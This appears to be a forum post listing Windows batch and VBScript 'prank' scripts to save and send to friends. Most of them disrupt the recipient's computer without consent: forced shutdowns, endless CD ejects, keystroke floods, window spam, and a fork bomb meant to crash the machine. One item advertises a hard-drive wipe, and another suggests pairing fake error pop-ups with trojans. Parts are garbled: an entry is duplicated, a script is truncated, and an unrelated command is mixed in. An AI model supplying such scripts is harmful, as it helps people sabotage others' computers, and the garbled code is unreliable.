1) Convey your friend a little message and shut down his / her computer:
Type :
Code:
@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s
Save it as "Anything.BAT" in All Files and send it.
Type :
Code:
@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s
Save it as "Anything.BAT" in All Files and send it.
2) Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!
Type :
Code:
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Save it as "Anything.VBS" and send it.
================================================== ============
3) Frustrate your friend by making this VBScript hit Enter simultaneously:
Type :
Code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
Save it as "Anything.VBS" and send it.
================================================== ============
4) Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:
Type :
Code:
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
Save it as "Anything.VBS" and send it.
================================================== ============
5) Frustrate your friend by making this VBScript hit Backspace simultaneously:
Type :
Code:
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
Save it as "Anything.VBS" and send it.
================================================== ============
6) Hack your friend's keyboard and make him type "You are a fool" simultaneously:
Type :
Code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop
Save it as "Anything.VBS" and send it.
================================================== ============
7) Open Notepad continually in your friend's computer:
Type :
Code:
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Save it as "Anything.BAT" and send it.
================================================== ============
8 ) Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:
1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
Type :
Code:
@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two
Save it as "Anything.BAT" and send it.
================================================== ============
9) Hide text inside your text file !
* Open your command prompt Start–>Run type cmd
* Move to any destination for example let us assume D:\> drive
* Type the below code in your command prompt
* D:\>notepad syshacks.txt:hidden
* syshacks notepad save
* syshacks notepad hidden
* Write some data and save the file.
* Move to D:\> and open syshacks.txt you cannot see no data in the file syshacks.txt.
* To retrieve the hidden data open command prompt and type the same command.
* D:\>notepad syshacks.txt:hidden
* Notepad will open syshacks.txt file with hidden data
================================================== ============
10) A Virus That Will Open And Close Ur Cdrom
Code:
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If
Save it as "Anything.vbs" and send it.
Now if u want to disable this go to task manager click on process
then find wscript.exe and end this process
================================================== ============
11) Notepad virus
Open NotePad And Write This:
Code:
@echo off
:E
start cmd.exe
start calc.exe
Save It As .bat.
================================================== ============
12) Code to shutdown computer
Open NotePad And Write This:
Code:
avidemux2_cli --run j-1.js --run j-2.js --end
shutdown.exe -s -t 00 Save It As .bat
================================================== ============
13) Code for log
Open NotePad And Write This:
Code:
.LOG
and Save It As .txt
now if you open the file
its writes the time and day that you log...
================================================== ============
14) Code for matrix falling text-
Open NotePad And Write This:
Code:
@echo off
:loop
COlor 0A
Title J J f f g g g g
echo 0 A 0 1 1 1 A 0 1 0 1 0 7 7 8 9 9 1 0 1 0 1 A 1 0 a d d f f 1 0 8
echo 0 0 0 0 0 0 0 0 1 A 0 A 1 0 A 1 1 1 1 0 A 1 0 A 5 5 6 7 a n k k k
echo 0 1 0 1 0 A B J 0 3 4 0 1 0 1 0 1 B A A O i d d 3 3 4 4 6 7 7 g u
echo 0 2 3 1 1 1 5 5 6 5 6 8 9 5 4 5 4 5 5 4 5 5 6 4 f f f g j d g d f g d
echo 2 4 5 6 5 5 6 5 9 4 5 7 7 7 7 8 9 9 0 66 6 1 5 5 6 4 5 5 8 6 4 4 6 4
goto :loop
Save It As .bat
================================================== ============
15)code to make computer chat with you
Open NotePad And Write This:
Code:
dim fname
fname=inputbox(" Hi whats your name?")
fname=inputbox("My Name Is Saplas")
fname=inputbox(" I Love You Saplas ^^.")
Save It As .vbs
================================================== ============
16) Code to open many windows!
Open NotePad And Write This:
Code:
start
start
start
[The Number of "start" e.x 3 start-->3 windows ,, more start.. more windows ^_^]
Save It As .bat
================================================== ============
17)code for Rick Roll
Open NotePad And Write This:
Code:
@echo off
START http://www.smooch.net/lol [ you can change the site but i find this Site for RIck Roll-->best] [[for closing this site, push ctrl+alt+delete]]
Save It As .bat
================================================== ============
18)code for Virus Joke
Open NotePad And Write This:
Code:
start
start
start
start
@echo off
msg ' [your text here] example msg ' We Hack So What?
msg ' [your text here] example msg ' Hahahahahaha.
shutdown -s -t 50 -c "your text here" example shutdown -s -t 50 -c "The Pc Gonna Exploded In 50 Sec"
Save It As .bat
If You wait 50 sec, your pc gonna restart..
But..
Start-->Run. Now Write shutdown -a
It Stops The Restart...
================================================== ============
19) code for Virus Joke 2
Open NotePad And Write This:
Code:
@echo off
:hack
echo [your text here] I prefer this example --> echo Trojan Virus Uploading
goto hack
Save It As .bat
================================================== ============
20) code for Adding A Heading And Text
Open Internet Explorer[prefer Mozila Firefox] .Then Open NotePad And Write This:
Code:
<html>
<head><title>Your Text Here</title></head> In The " ", It's The Name For The Site
<body>
<center><font face="font name here" size"number here">Hello</font></center> In The " " are the font and the size number.
Example
<html>
<head><title>Hello</title></head>
<body>
<center><font face="porky's" size"8">Hello</font></center>
================================================== ============
21) code for make a Fork Bomb(LoL)
Open NotePad And Write This:
Code:
start
%0
goto :S
Save It As .bat
If You Open It, It Can Crash Your Pc So Send It In YOUR FRIENDS .. Not to ME ^_^ .
================================================== ============
22) Create your own Never Ending Error/Pop up messages
First of all, here are some possible uses for this cool little thing
1. Bind them with your virus's / trojans. You can use any messages remember.
2. To piss off your friends making them think you've messed there computer up.
3. Whatever you want really!
Step 1. Open Notepad
Step 2. Type the following text:
Code:
lol = msgbox("Text You Want Here",16,"Title Of Message Box Here")
Step 3. Create as many lines as you want, for example my outcome would be something like this:
lol = msgbox("A System32 error has occured, please contact micro**oft immediately",16,"Fatal Error")
lol = msgbox("Mswinsox (C:\Windows) Will now be deleted",16,"Fatal Error")
lol = msgbox("(C:\Windows) is being deleted",16,"Fatal Error")
lol = msgbox("Your computer will reboot shortly",16,"Fatal Error")
lol = msgbox("If you still have a problem, then you are -beep-ed",16,"Fatal Error")
lol = msgbox("owned you",16,"Fatal Error")
Step 4. Save it as Anything.vbs , distribute it amongst your friends and have a laugh.
================================================== ============
23) make your pc talk with notepad!
Open a text file in notepad and write:
Code:
Dim msg, sapi
msg=InputBox("Enter your text","Talk it")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak msg
Save the file with a (*.vbs) extension, it will create a VBScript File.
It will prompt you for a text when u open the file, input the text and press ok."
u will hear what u typed
